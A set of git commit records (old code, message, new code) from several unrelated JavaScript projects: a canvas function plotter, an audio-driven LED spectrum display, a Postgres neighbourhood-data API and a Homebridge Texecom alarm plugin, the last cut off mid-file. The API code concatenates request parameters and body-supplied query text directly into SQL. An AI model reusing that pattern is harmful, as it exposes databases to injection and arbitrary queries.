		dy = (dy - y) * multiplier + y;
	}
	function clear() {
		context.clearRect(0, 0, canvas.width, canvas.height);
	}
	function renderAxis() {
		context.font = "10px Arial";
		context.textBaseline = 'middle';
		context.textAlign="center";

		var step = Math.pow(2, ~~(Math.log(100 / scale)/Math.log(2))) * scale;

		for(var x = dx % step; x <= canvas.width; x += step) {
			if(x == dx) continue;

			context.fillStyle = 'lightgray';
			context.fillRect(x, 0, 1, canvas.height);
			context.fillStyle = 'black';
			context.fillRect(x, dy - 2, 1, 4);

 			context.fillText(((x - dx)/scale).toPrecision(3), x, dy + 10);
		}

		context.textAlign = "right";
		for(var y = dy % step; y <= canvas.height; y += step) {
			if(y == dy) continue;

			context.fillStyle = 'lightgray';
			context.fillRect(0, y, canvas.width, 1);
			context.fillStyle = 'black';
			context.fillRect(dx - 2, y, 4, 1);

 			context.fillText(((dy - y)/scale).toPrecision(3), dx - 6, y);
		}

		context.fillRect(0, dy, canvas.width, 1);
		context.fillRect(dx, 0, 1, canvas.height);
	}
	function renderTip() {
		context.beginPath();
		context.arc(currentX, -scale * func((currentX - dx) / scale) + dy, 3, 0, 2 * Math.PI);
		context.fill();
	}
	function renderCoords() {
		context.textAlign = "left";
 		context.fillText('x: ' + (currentX - dx)/scale, 5, 10);
 		context.fillText('y: ' + func((currentX - dx) / scale), 5, 22);
	}
	function render() {
		clear();

		renderAxis();

		context.lineWidth = 1.5;
		context.strokeStyle = 'black';
		context.beginPath();
		for(var x = 0; x < canvas.width; x++) {
			context.lineTo(x, -scale * func((x - dx) / scale) + dy);
		}
		context.stroke();

		renderTip();
		renderCoords();
	}
	canvas.addEventListener('mousedown', function(e) {
		mouseDown = true;
		lastX = e.clientX;
		lastY = e.clientY;
	});
	canvas.addEventListener('mouseup', function(e) {
		mouseDown = false;
	})
	canvas.addEventListener('mousemove', function(e) {
		currentX = e.clientX;

		if(mouseDown) {
			dx += e.clientX - lastX;
			dy += e.clientY - lastY;

			lastX = e.clientX;
			lastY = e.clientY;
		}

		render();
	});

	canvas.addEventListener('touchstart', function(e) {
		currentX = lastX = e.touches[0].clientX;
		lastY = e.touches[0].clientY;

		if(e.touches.length == 2) {
			lastDistance = Math.sqrt(Math.pow(e.touches[0].clientX - e.touches[1].clientX, 2) + Math.pow(e.touches[0].clientY - e.touches[1].clientY, 2));

			var averageX = (e.touches[0].clientX + e.touches[1].clientX) * 0.5;
			var averageY = (e.touches[0].clientY + e.touches[1].clientY) * 0.5;

			lastX = averageX;
			lastY = averageY;
		}
	});

	canvas.addEventListener('touchmove', function(e) {
		currentX = e.touches[0].clientX;

		if(e.touches.length == 2) {
			var distance = Math.sqrt(Math.pow(e.touches[0].clientX - e.touches[1].clientX, 2) + Math.pow(e.touches[0].clientY - e.touches[1].clientY, 2));
			var multiplier = distance / lastDistance;

			var averageX = (e.touches[0].clientX + e.touches[1].clientX) * 0.5;
			var averageY = (e.touches[0].clientY + e.touches[1].clientY) * 0.5;
			zoom(multiplier, averageX, averageY);

			lastDistance = distance;

			dx += averageX - lastX;
			dy += averageY - lastY;

			lastX = averageX;
			lastY = averageY;
		} else {
			dx += e.touches[0].clientX - lastX;
			dy += e.touches[0].clientY - lastY;

			lastX = e.touches[0].clientX;
			lastY = e.touches[0].clientY;
		}

		render();
	});

	canvas.addEventListener('touchend', function(e) {
		if(e.touches.length == 1) {
			lastX = e.touches[0].clientX;
			lastY = e.touches[0].clientY;
		}
	});

	canvas.addEventListener('wheel', function(e) {
		var multiplier = 0.9;
		if(e.deltaY < 0) {
			multiplier = 1.1;
		}
		zoom(multiplier, e.clientX - clientRect.left, e.clientY - clientRect.top);
		render();
	});

	render();
};<commit_msg>Exposing func and render()<commit_after>window.Plot = function Plot(selector, func) {
	var self = this;

	var canvas = this.canvas = document.querySelector(selector);
	var context = canvas.getContext('2d');
	var clientRect = canvas.getBoundingClientRect();

	this.func = func;

	var scale = 100;
	var dx = canvas.width * 0.5;
	var dy = canvas.height * 0.5;

	var currentX = 0;
	var lastX, lastY;
	var mouseDown = false;

	var lastDistance;

	context.lineCap = 'round';
	function zoom(multiplier, x, y) {
		scale *= multiplier;
		dx = (dx - x) * multiplier + x;
		dy = (dy - y) * multiplier + y;
	}
	function clear() {
		context.clearRect(0, 0, canvas.width, canvas.height);
	}
	function renderAxis() {
		context.font = "10px Arial";
		context.textBaseline = 'middle';
		context.textAlign="center";

		var step = Math.pow(2, ~~(Math.log(100 / scale)/Math.log(2))) * scale;

		for(var x = dx % step; x <= canvas.width; x += step) {
			if(x == dx) continue;

			context.fillStyle = 'lightgray';
			context.fillRect(x, 0, 1, canvas.height);
			context.fillStyle = 'black';
			context.fillRect(x, dy - 2, 1, 4);

 			context.fillText(((x - dx)/scale).toPrecision(3), x, dy + 10);
		}

		context.textAlign = "right";
		for(var y = dy % step; y <= canvas.height; y += step) {
			if(y == dy) continue;

			context.fillStyle = 'lightgray';
			context.fillRect(0, y, canvas.width, 1);
			context.fillStyle = 'black';
			context.fillRect(dx - 2, y, 4, 1);

 			context.fillText(((dy - y)/scale).toPrecision(3), dx - 6, y);
		}

		context.fillRect(0, dy, canvas.width, 1);
		context.fillRect(dx, 0, 1, canvas.height);
	}
	function renderTip() {
		context.beginPath();
		context.arc(currentX, -scale * self.func((currentX - dx) / scale) + dy, 3, 0, 2 * Math.PI);
		context.fill();
	}
	function renderCoords() {
		context.textAlign = "left";
 		context.fillText('x: ' + (currentX - dx)/scale, 5, 10);
 		context.fillText('y: ' + self.func((currentX - dx) / scale), 5, 22);
	}
	self.render = function render() {
		clear();

		renderAxis();

		context.lineWidth = 1.5;
		context.strokeStyle = 'black';
		context.beginPath();
		for(var x = 0; x < canvas.width; x++) {
			context.lineTo(x, -scale * self.func((x - dx) / scale) + dy);
		}
		context.stroke();

		renderTip();
		renderCoords();
	}
	canvas.addEventListener('mousedown', function(e) {
		mouseDown = true;
		lastX = e.clientX;
		lastY = e.clientY;
	});
	canvas.addEventListener('mouseup', function(e) {
		mouseDown = false;
	})
	canvas.addEventListener('mousemove', function(e) {
		currentX = e.clientX;

		if(mouseDown) {
			dx += e.clientX - lastX;
			dy += e.clientY - lastY;

			lastX = e.clientX;
			lastY = e.clientY;
		}

		self.render();
	});

	canvas.addEventListener('touchstart', function(e) {
		currentX = lastX = e.touches[0].clientX;
		lastY = e.touches[0].clientY;

		if(e.touches.length == 2) {
			lastDistance = Math.sqrt(Math.pow(e.touches[0].clientX - e.touches[1].clientX, 2) + Math.pow(e.touches[0].clientY - e.touches[1].clientY, 2));

			var averageX = (e.touches[0].clientX + e.touches[1].clientX) * 0.5;
			var averageY = (e.touches[0].clientY + e.touches[1].clientY) * 0.5;

			lastX = averageX;
			lastY = averageY;
		}
	});

	canvas.addEventListener('touchmove', function(e) {
		currentX = e.touches[0].clientX;

		if(e.touches.length == 2) {
			var distance = Math.sqrt(Math.pow(e.touches[0].clientX - e.touches[1].clientX, 2) + Math.pow(e.touches[0].clientY - e.touches[1].clientY, 2));
			var multiplier = distance / lastDistance;

			var averageX = (e.touches[0].clientX + e.touches[1].clientX) * 0.5;
			var averageY = (e.touches[0].clientY + e.touches[1].clientY) * 0.5;
			zoom(multiplier, averageX, averageY);

			lastDistance = distance;

			dx += averageX - lastX;
			dy += averageY - lastY;

			lastX = averageX;
			lastY = averageY;
		} else {
			dx += e.touches[0].clientX - lastX;
			dy += e.touches[0].clientY - lastY;

			lastX = e.touches[0].clientX;
			lastY = e.touches[0].clientY;
		}

		self.render();
	});

	canvas.addEventListener('touchend', function(e) {
		if(e.touches.length == 1) {
			lastX = e.touches[0].clientX;
			lastY = e.touches[0].clientY;
		}
	});

	canvas.addEventListener('wheel', function(e) {
		var multiplier = 0.9;
		if(e.deltaY < 0) {
			multiplier = 1.1;
		}
		zoom(multiplier, e.clientX - clientRect.left, e.clientY - clientRect.top);
		self.render();
	});

	self.render();
};<|endoftext|>


<commit_before>'use strict';

var numLeds = 91;

var fs = require('fs');
var Spawn = require('node-spawn');
var socket = require('socket.io-client')('http://localhost:9009');
var _ = require('underscore');
var one = require('onecolor');

// maximum values observed in a while
var bands = [
    {
        // sub bass
        minBin: 2,
        maxBin: 8,
        value: 0,
        peak: 0,
        peakBin: 2
    }, {
        // kick drum
        minBin: 9,
        maxBin: 15,
        value: 0,
        peak: 0,
        peakBin: 9
    }, {
        // kick drum
        minBin: 16,
        maxBin: 29,
        value: 0,
        peak: 0,
        peakBin: 16
    }, {
        // snare
        minBin: 30,
        maxBin: 59,
        value: 0,
        peak: 0,
        peakBin: 30
    }, {
        // snare
        minBin: 60,
        maxBin: 99,
        value: 0,
        peak: 0,
        peakBin: 60
    }, {
        // snare
        minBin: 100,
        maxBin: 149,
        value: 0,
        peak: 0,
        peakBin: 100
    }, {
        // hihat
        minBin: 150,
        maxBin: 299,
        value: 0,
        peak: 0,
        peakBin: 150
    }, {
        // hihat
        minBin: 300,
        maxBin: 374,
        value: 0,
        peak: 0,
        peakBin: 300
    }, {
        // hihat
        minBin: 375,
        maxBin: 449,
        value: 0,
        peak: 0,
        peakBin: 375
    }, {
        // hihat
        minBin: 450,
        maxBin: 599,
        value: 0,
        peak: 0,
        peakBin: 450
    }, {
        minBin: 600,
        maxBin: 1023,
        value: 0,
        peak: 0,
        peakBin: 700
    }
];
var dPeak = 0.9975;

var audioBuffer = new Buffer(0);
var windowSize = 4096;
//var binsPerLed = Math.floor((windowSize / 8) / numLeds);
var binsPerLed = Math.floor((windowSize / 5) / numLeds);
var avgFactor = 0.9;
var avgFactor = 0.95;
var hueAvgFactor = 0.99;
var fftInPlace = require('fft-js').fftInPlace;
var fftUtil = require('fft-js').util;

var hue = 0;
var avgHue = 0;
var avg = Array.apply(null, new Array(windowSize / 2)).map(Number.prototype.valueOf, 0);
var globalPeak = 0;

var findPeakBins = function(output) {
    globalPeak = globalPeak * dPeak;
    _.each(bands, function(band) {
        var peak = 0;
        for (var i = band.minBin; i < band.maxBin; i++) {
            if (output[i] - avg[i] > peak) {
                peak = output[i] - avg[i];
                //var binChangeAvg = 0.95;
                //band.peakBin = band.peakBin * binChangeAvg + (1 - binChangeAvg) * i;
                band.peakBin = i;
            }
            if (output[i] > globalPeak) {
                globalPeak = output[i];
            }
        }
    });
};

var avgResult = function(output) {
    var retval = [];
    _.each(output, function(band, index) {
        if (band) {
            avg[index] = avg[index] * avgFactor + band * (1 - avgFactor);
            avg[index] = Math.max(avg[index], band);
            retval[index] = avg[index];
        }
    });

    return retval;
};

var printSpectrum = function(output) {
    hue += 0.001;

    var leds = [];
    for (var i = 0; i < numLeds; i++) {
        var total = 0;

        for (var j = 0; j < binsPerLed; j++) {
            total += output[i * binsPerLed + j];
        }
        total /= binsPerLed;

        // lower bass frequencies, boost high frequencies
        total *= (0.65 + 1.5 * i / numLeds);

        //total = (Math.exp(total) - 1) / (Math.E - 1);
        total *= total;
        total = Math.min(total, 0.8);

        var color = new one.HSL(hue + i / 100, 1, total || 0);
        leds[numLeds - 1 - i] = {
            red: color.red() * 255,
            green: color.green() * 255,
            blue: color.blue() * 255
        };
    }

    socket.emit('frame', leds);
};

var leds = [];

for (var i = 0; i < numLeds; i++) {
    leds[i] = one('#000');
}

var runFFT = function(newData) {
    audioBuffer = Buffer.concat([audioBuffer, newData]);

    if (audioBuffer.length < windowSize) {
        // too little data, try again next time
        console.log('too little data');
        return;
    }

    audioBuffer = audioBuffer.slice(audioBuffer.length - windowSize);

    var samples = [];
    for (var i = 0; i < windowSize; i+= 2) {
        var sample = audioBuffer.readInt16LE(i, true) / 32767.0;
        samples.push(sample);
    }

    fftInPlace(samples);

    var magnitudes = fftUtil.fftMag(samples);

    var avg = avgResult(magnitudes);
    //findPeakBins(avg);
    printSpectrum(avg);
};

var spawn = Spawn({
    cmd: 'pacat',
    args: ['--record', '--raw', '--channels=1', '--format=s16le'],
    onStdout: runFFT
});

spawn.start();
<commit_msg>scale values according to average amplitude for bins<commit_after>'use strict';

var numLeds = 91;

var Spawn = require('node-spawn');
var socket = require('socket.io-client')('http://localhost:9009');
var _ = require('underscore');
var one = require('onecolor');
var fftInPlace = require('fft-js').fftInPlace;
var fftUtil = require('fft-js').util;

var audioBuffer = new Buffer(0);
//var windowSize = 4096;
var windowSize = 4096;

// computed later
var binsPerLed;

// skip this many low frequency bins
var skipBinsHead = 0;

// skip this many high frequency bins, nothing interesting in them
var skipBinsTail = 300;

var avgFactor = 0.95;

var hue = 0;
var avgHue = 0;
var avg = Array.apply(null, new Array(windowSize / 2)).map(Number.prototype.valueOf, 0);

// scale everything according to avg bin amplitude
var avgPeak = 0;

// fade avg peak out over time - in case user lowers volume
var avgPeakFade = 0.001;

// ... but never under the noise floor (in case playback stops)
// experiment with this value and set it to match the maximum peak
// of the lowest volume you'd realistically listen to music at
var avgPeakMin = 1 // i found a value of 1 to work great in my setup

var lightnessLimit = 0.6 // to avoid a lot of white pixels

var findGlobalPeak = function(output) {
    // begin by fading out global peak
    avgPeak = avgPeak * (1 - avgPeakFade);

    //console.log(avgPeak);

    var total = 0;
    output.forEach(function(band, i) {
        total += band;
        //total += (0.65 + 1.25 * i / numLeds) * band;
    });

    avgPeak = Math.max(avgPeak, total / output.length);
};

var avgResult = function(output) {
    var retval = [];
    _.each(output, function(band, index) {
        if (band) {
            avg[index] = avg[index] * avgFactor + band * (1 - avgFactor);
            avg[index] = Math.max(avg[index], band);
            retval[index] = avg[index];
        }
    });

    return retval;
};

var printSpectrum = function(output) {
    hue += 0.001;

    var saturationBands = 0;

    var leds = [];
    for (var i = 0; i < numLeds; i++) {
        var total = 0;

        for (var j = 0; j < binsPerLed; j++) {
            total += output[i * binsPerLed + j] / avgPeak;
        }
        total /= binsPerLed;

        // lower bass frequencies, boost high frequencies
        total *= (0.5 + 2 * i / numLeds);

        // no really, lower bass frequencies even more, they're LOUD
        total *= Math.min(1, 0.1 + 10 * (i / numLeds));

        //total = (Math.exp(total) - 1) / (Math.E - 1);
        total = Math.pow(total, 4);

        if (total >= lightnessLimit) {
            saturationBands++;
        }
        total = Math.min(total, lightnessLimit);

        var color = new one.HSL(hue + i / 100, 1, total || 0);
        leds[numLeds - 1 - i] = {
            red: color.red() * 255,
            green: color.green() * 255,
            blue: color.blue() * 255
        };
    }

    console.log('bands saturated: ' + saturationBands);
    socket.emit('frame', leds);
};

var leds = [];

for (var i = 0; i < numLeds; i++) {
    leds[i] = one('#000');
}

var runFFT = function(newData) {
    audioBuffer = Buffer.concat([audioBuffer, newData]);

    if (audioBuffer.length < windowSize) {
        // too little data, try again next time
        console.log('too little data');
        return;
    }

    audioBuffer = audioBuffer.slice(audioBuffer.length - windowSize);

    var samples = [];
    for (var i = 0; i < windowSize; i+= 2) {
        var sample = audioBuffer.readInt16LE(i, true) / 32767.0;
        samples.push(sample);
    }

    fftInPlace(samples);

    var magnitudes = fftUtil.fftMag(samples);

    for (var i = 0; i < skipBinsHead; i++) {
        magnitudes.shift();
    }
    for (var i = 0; i < skipBinsTail; i++) {
        magnitudes.pop();
    }

    binsPerLed = Math.floor(magnitudes.length / numLeds);
    magnitudes.shift();

    var avg = avgResult(magnitudes);
    findGlobalPeak(avg);
    printSpectrum(avg);
};

var spawn = Spawn({
    cmd: 'pacat',
    args: ['--record', '--raw', '--channels=1', '--format=s16le'],
    onStdout: runFFT
});

spawn.start();
<|endoftext|>


<commit_before>var pg = require( 'pg' ),
	_ = require( 'underscore' ),
	dbgeo = require( 'dbgeo' ),
	db = require( './db' );

exports.topojson = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var fields = req.params.fields ? req.params.fields.split( "," ) : [ "gid" ];
	fields.push( "ST_AsGeoJSON( geom ) AS geom" );

	var queryString = buildQuery( fields, req.params.table, req.params.where )
	client.query( queryString, function( error, result ) {
		dbgeo.parse({
		    "data": result.rows,
			"geometryColumn": "geom",
			"outputFormat": "topojson",
			"callback": function( error, result ) {
				if( error ) {
		    		    console.log( " --- error --- ", error);
				} else {
					res.send( result );
					client.end();
				}
		    }
		});
	});
}

exports.services = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var services = [];

	var query = client.query( "SELECT organizations.* FROM neighborhoods INNER JOIN organization_lookup ON neighborhoods.id = neighborhood INNER JOIN organizations ON organizations.id = organization WHERE neighborhoods.id = '" + req.params.neighborhood + "'" );

	query.on( 'row', function( result ) {
		services.push( result );
	});

	query.on( 'end', function() {
		res.send( services );
		client.end();
	})
}

exports.names = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var names = [];

	var fields = req.params.fields ? req.params.fields.split( "," ) : [ "id", "name" ];
	var where = "name IS NOT NULL";
	if( req.params.id ) where += " AND id = " + req.params.id;

	var queryString = buildQuery( fields, "neighborhoods", where );
	var query = client.query( queryString );

	query.on( 'row', function( result ) {
		names.push( result );
	})

	query.on( 'end', function() {
		res.send( names );
		client.end();
	});
}

exports.template = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var template = JSON.parse( req.body.json ),
		id = req.body.id,
		html = '';

	load_part( template.shift() );

	function load_part( part ) {
		var data = [];
		var query = client.query( part.query + " WHERE id = " + id );
		query.on( 'row', function( result ) {
			data.push( result );
		});

		query.on( 'end', function() {
			html += part.header;
			html += _.reduce( data, function( s1, row ) {
				return s1 + _.reduce( part.style, function( s2, item ) {
					return s2 + item.format.replace( /\|\|data\|\|/g, row[ item.data ] );
				}, '' )
			}, '' );
			html += part.footer;

			if( template.length ) {
				load_part( template.shift() );
			}
			else {
				complete();
			}
		});
	}

	function complete() {
		res.send( html );
		client.end();
	}
}

function buildQuery( fields, table, where ) {
	var queryString = "SELECT";

	queryString = _.reduce( fields, function( memo, field, i ) {
		if( i > 0 ) memo += ",";
		return memo += " " + field;
	}, queryString );

	queryString += " FROM " + table;
	if( where ) queryString += " WHERE " + where;

	return queryString;
}
<commit_msg>Added a check for null data<commit_after>var pg = require( 'pg' ),
	_ = require( 'underscore' ),
	dbgeo = require( 'dbgeo' ),
	db = require( './db' );

exports.topojson = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var fields = req.params.fields ? req.params.fields.split( "," ) : [ "gid" ];
	fields.push( "ST_AsGeoJSON( geom ) AS geom" );

	var queryString = buildQuery( fields, req.params.table, req.params.where )
	client.query( queryString, function( error, result ) {
		dbgeo.parse({
		    "data": result.rows,
			"geometryColumn": "geom",
			"outputFormat": "topojson",
			"callback": function( error, result ) {
				if( error ) {
		    		    console.log( " --- error --- ", error);
				} else {
					res.send( result );
					client.end();
				}
		    }
		});
	});
}

exports.services = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var services = [];

	var query = client.query( "SELECT organizations.* FROM neighborhoods INNER JOIN organization_lookup ON neighborhoods.id = neighborhood INNER JOIN organizations ON organizations.id = organization WHERE neighborhoods.id = '" + req.params.neighborhood + "'" );

	query.on( 'row', function( result ) {
		services.push( result );
	});

	query.on( 'end', function() {
		res.send( services );
		client.end();
	})
}

exports.names = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var names = [];

	var fields = req.params.fields ? req.params.fields.split( "," ) : [ "id", "name" ];
	var where = "name IS NOT NULL";
	if( req.params.id ) where += " AND id = " + req.params.id;

	var queryString = buildQuery( fields, "neighborhoods", where );
	var query = client.query( queryString );

	query.on( 'row', function( result ) {
		names.push( result );
	})

	query.on( 'end', function() {
		res.send( names );
		client.end();
	});
}

exports.template = function( req, res ) {
	var client = new pg.Client( db.conn );
	client.connect();

	var template = JSON.parse( req.body.json ),
		id = req.body.id,
		html = '';

	load_part( template.shift() );

	function load_part( part ) {
		var data = [];
		var query = client.query( part.query + " WHERE id = " + id );
		query.on( 'row', function( result ) {
			data.push( result );
		});
		query.on( 'end', function() {
			if ( data.length ) {
				html += part.header;
				html += _.reduce( data, function( s1, row ) {
					return s1 + _.reduce( part.style, function( s2, item ) {
						return s2 + item.format.replace( /\|\|data\|\|/g, row[ item.data ] );
					}, '' )
				}, '' );
				html += part.footer;
			}

			if( template.length ) {
				load_part( template.shift() );
			}
			else {
				complete();
			}
		});
	}

	function complete() {
		res.send( html );
		client.end();
	}
}

function buildQuery( fields, table, where ) {
	var queryString = "SELECT";

	queryString = _.reduce( fields, function( memo, field, i ) {
		if( i > 0 ) memo += ",";
		return memo += " " + field;
	}, queryString );

	queryString += " FROM " + table;
	if( where ) queryString += " WHERE " + where;

	return queryString;
}
<|endoftext|>


<commit_before>var Service;
var Characteristic;
var debug = require("debug")("TexecomAccessory");
var serialport = require("serialport");
var zpad = require("zpad");
var S = require('string');
var crypto = require("crypto");
var net = require('net');

module.exports = function(homebridge) {
    Service = homebridge.hap.Service;
    Characteristic = homebridge.hap.Characteristic;

    homebridge.registerAccessory("homebridge-texecom", "Texecom", TexecomAccessory);
    homebridge.registerPlatform("homebridge-texecom", "Texecom", TexecomPlatform);
}

function TexecomPlatform(log, config){
    this.log = log;
    this.serial_device = config["serial_device"];
    this.baud_rate = config["baud_rate"];
    this.zones = config["zones"] || [];
    this.areas = config["areas"] || [];
	this.ip_address = config["ip_address"];
	this.ip_port = config["ip_port"];
}

TexecomPlatform.prototype = {

    accessories: function(callback) {
        var zoneAccessories = [];
        for(var i = 0; i < this.zones.length; i++){
            var zone = new TexecomAccessory(this.log, this.zones[i]);
            zoneAccessories.push(zone);
        }
        var zoneCount = zoneAccessories.length;

        var areaAccessories = [];
        for(var i = 0; i < this.areas.length; i++){
            var area = new TexecomAccessory(this.log, this.areas[i]);
            areaAccessories.push(area);
        }
        var areaCount = areaAccessories.length;

        callback(zoneAccessories.concat(areaAccessories));
		platform = this;

		function processData(data) {
			// Received data is a zone update
			if(S(data).startsWith('"Z')){

				// Extract the data from the serial line received
				var zone_data = Number(S(S(data).chompLeft('"Z')).left(4).s);
				// Extract the zone number that is being updated
				var updated_zone = Number(S(S(data).chompLeft('"Z')).left(3).s);
				// Is the zone active?
				var zone_active = S(zone_data).endsWith('1');

				platform.log("Zone update received for zone " + updated_zone + " active: " + zone_active);

				for(var i = 0; i < zoneCount; i++){
					if(zoneAccessories[i].zone_number == updated_zone){
						platform.log.debug("Zone match found, updating zone status in HomeKit to " + zone_active);
						zoneAccessories[i].changeHandler(zone_active);
						break;
					}
				}

			} else if (S(data).startsWith('"A') || S(data).startsWith('"D')){

				// Extract the area number that is being updated
				var updated_area = Number(S(S(data).substring(2,5)));
				var armed = S(data).startsWith('"A');
				if (armed) {
					platform.log("Area " + updated_area + " armed");
				} else {
					platform.log("Area " + updated_area + " disarmed");
				}

				for(var i = 0; i < areaCount; i++){
					if(areaAccessories[i].zone_number == updated_area){
						platform.log.debug("Area match found, updating area status in HomeKit to " + armed);
						areaAccessories[i].changeHandler(armed);
						break;
					}
				}
			}
		}

		if (this.serial_device) {
			var SerialPort = serialport.SerialPort;

			var serialPort = new SerialPort(this.serial_device, {
				baudrate: this.baud_rate,
				parser: serialport.parsers.readline("\n")
			});

			serialPort.on("open", function () {
				platform.log("Serial port opened");
				serialPort.on('data', function(data) {
					platform.log.debug("Serial data received: " + data);
					processData(data);
				});
			});
		} else if (this.ip_address) {
			try {
				connection = net.createConnection(this.ip_port, this.ip_address, function() {
					platform.log('Connected via IP');
				});
			} catch (err) {
				platform.log(err);
			}
			connection.on('data', function(data) {
				platform.log.debug("IP data received: " + data);
				processData(data);
			});
			connection.on('end', function() {
				platform.log('IP connection ended');
			});

			connection.on('close', function() {
				platform.log('IP connection closed');
				try {
					connection = net.createConnection(this.ip_port, this.ip_address, function() {
						platform.log('Re-connected after loss of connection');
					});
				} catch (err) {
					platform.log(err);
				}
			});
		} else {
			this.log("Must set either serial_device or ip_address in configuration.");
		}
    }
}

function TexecomAccessory(log, zoneConfig) {
    this.log = log;

    this.zone_number = zpad(zoneConfig["zone_number"] || zoneConfig["area_number"], 3);
    this.name = zoneConfig["name"];
    this.zone_type = zoneConfig["zone_type"] || zoneConfig["area_type"] || "motion";
    this.dwell_time = zoneConfig["dwell"] || 0;

    if(zoneConfig["sn"]){
        this.sn = zoneConfig["sn"];
    } else {
        var shasum = crypto.createHash('sha1');
        shasum.update(this.zone_number);

        this.sn = shasum.digest('base64');
        log.debug('Computed SN ' + this.sn);
    }
}

TexecomAccessory.prototype = {

    getServices: function() {

        var informationService = new Service.AccessoryInformation();

        informationService
          .setCharacteristic(Characteristic.Name, this.name)
          .setCharacteristic(Characteristic.Manufacturer, "Homebridge")
          .setCharacteristic(Characteristic.Model, "Texecom Zone")
          .setCharacteristic(Characteristic.SerialNumber, this.sn);

        var service, changeAction;
        switch(this.zone_type){
        case "contact":
            service = new Service.ContactSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.ContactSensorState)
                        .setValue(newState ? Characteristic.ContactSensorState.CONTACT_NOT_DETECTED : Characteristic.ContactSensorState.CONTACT_DETECTED);
            };
            break;
        case "motion":
            service = new Service.MotionSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.MotionDetected)
                        .setValue(newState);
            };
            break;
        case "smoke":
            service = new Service.SmokeSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.SmokeDetected)
                        .setValue(newState ? Characteristic.ContactSensorState.SMOKE_DETECTED : Characteristic.ContactSensorState.SMOKE_NOT_DETECTED);
            };
            break;
        case "carbonmonoxide":
            service = new Service.CarbonMonoxideSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.CarbonMonoxideDetected)
                        .setValue(newState ? Characteristic.CarbonMonoxideDetected.CO_LEVELS_ABNORMAL : Characteristic.CarbonMonoxideDetected.CO_LEVELS_NORMAL);
            };
            break;
        case "securitysystem":
            service = new Service.SecuritySystem();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.SecuritySystemCurrentState)
                        .setValue(newState ? Characteristic.SecuritySystemCurrentState.AWAY_ARM : Characteristic.SecuritySystemCurrentState.DISARMED);
            };
            break;
        default:
        	service = new Service.MotionSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.MotionDetected)
                        .setValue(newState);
            };
            break;
        }

        this.changeHandler = function(status){
            var newState = status;
            platform.log.debug("Dwell = " + this.dwell_time);

            if(!newState && this.dwell_time > 0){
            	this.dwell_timer = setTimeout(function(){ changeAction(newState); }.bind(this), this.dwell_time);
            } else {
            	if(this.dwell_timer){
            		clearTimeout(this.dwell_timer);
            	}
            	changeAction(newState);
            }

            platform.log.debug("Changing state with changeHandler to " + newState);

        }.bind(this);

        return [informationService, service];
    }
};
<commit_msg>Set the target state as well as the current, and initialise to Off at startup as default is Home (armed)<commit_after>var Service;
var Characteristic;
var debug = require("debug")("TexecomAccessory");
var serialport = require("serialport");
var zpad = require("zpad");
var S = require('string');
var crypto = require("crypto");
var net = require('net');

module.exports = function(homebridge) {
    Service = homebridge.hap.Service;
    Characteristic = homebridge.hap.Characteristic;

    homebridge.registerAccessory("homebridge-texecom", "Texecom", TexecomAccessory);
    homebridge.registerPlatform("homebridge-texecom", "Texecom", TexecomPlatform);
}

function TexecomPlatform(log, config){
    this.log = log;
    this.serial_device = config["serial_device"];
    this.baud_rate = config["baud_rate"];
    this.zones = config["zones"] || [];
    this.areas = config["areas"] || [];
	this.ip_address = config["ip_address"];
	this.ip_port = config["ip_port"];
}

TexecomPlatform.prototype = {

    accessories: function(callback) {
        var zoneAccessories = [];
        for(var i = 0; i < this.zones.length; i++){
            var zone = new TexecomAccessory(this.log, this.zones[i]);
            zoneAccessories.push(zone);
        }
        var zoneCount = zoneAccessories.length;

        var areaAccessories = [];
        for(var i = 0; i < this.areas.length; i++){
            var area = new TexecomAccessory(this.log, this.areas[i]);
            areaAccessories.push(area);
        }
        var areaCount = areaAccessories.length;

        callback(zoneAccessories.concat(areaAccessories));
		platform = this;

		function processData(data) {
			// Received data is a zone update
			if(S(data).startsWith('"Z')){

				// Extract the data from the serial line received
				var zone_data = Number(S(S(data).chompLeft('"Z')).left(4).s);
				// Extract the zone number that is being updated
				var updated_zone = Number(S(S(data).chompLeft('"Z')).left(3).s);
				// Is the zone active?
				var zone_active = S(zone_data).endsWith('1');

				platform.log("Zone update received for zone " + updated_zone + " active: " + zone_active);

				for(var i = 0; i < zoneCount; i++){
					if(zoneAccessories[i].zone_number == updated_zone){
						platform.log.debug("Zone match found, updating zone status in HomeKit to " + zone_active);
						zoneAccessories[i].changeHandler(zone_active);
						break;
					}
				}

			} else if (S(data).startsWith('"A') || S(data).startsWith('"D')){

				// Extract the area number that is being updated
				var updated_area = Number(S(S(data).substring(2,5)));
				var armed = S(data).startsWith('"A');
				if (armed) {
					platform.log("Area " + updated_area + " armed");
				} else {
					platform.log("Area " + updated_area + " disarmed");
				}

				for(var i = 0; i < areaCount; i++){
					if(areaAccessories[i].zone_number == updated_area){
						platform.log.debug("Area match found, updating area status in HomeKit to " + armed);
						areaAccessories[i].changeHandler(armed);
						break;
					}
				}
			}
		}

		if (this.serial_device) {
			var SerialPort = serialport.SerialPort;

			var serialPort = new SerialPort(this.serial_device, {
				baudrate: this.baud_rate,
				parser: serialport.parsers.readline("\n")
			});

			serialPort.on("open", function () {
				platform.log("Serial port opened");
				serialPort.on('data', function(data) {
					platform.log.debug("Serial data received: " + data);
					processData(data);
				});
			});
		} else if (this.ip_address) {
			try {
				connection = net.createConnection(this.ip_port, this.ip_address, function() {
					platform.log('Connected via IP');
				});
			} catch (err) {
				platform.log(err);
			}
			connection.on('data', function(data) {
				platform.log.debug("IP data received: " + data);
				processData(data);
			});
			connection.on('end', function() {
				platform.log('IP connection ended');
			});

			connection.on('close', function() {
				platform.log('IP connection closed');
				try {
					connection = net.createConnection(this.ip_port, this.ip_address, function() {
						platform.log('Re-connected after loss of connection');
					});
				} catch (err) {
					platform.log(err);
				}
			});
		} else {
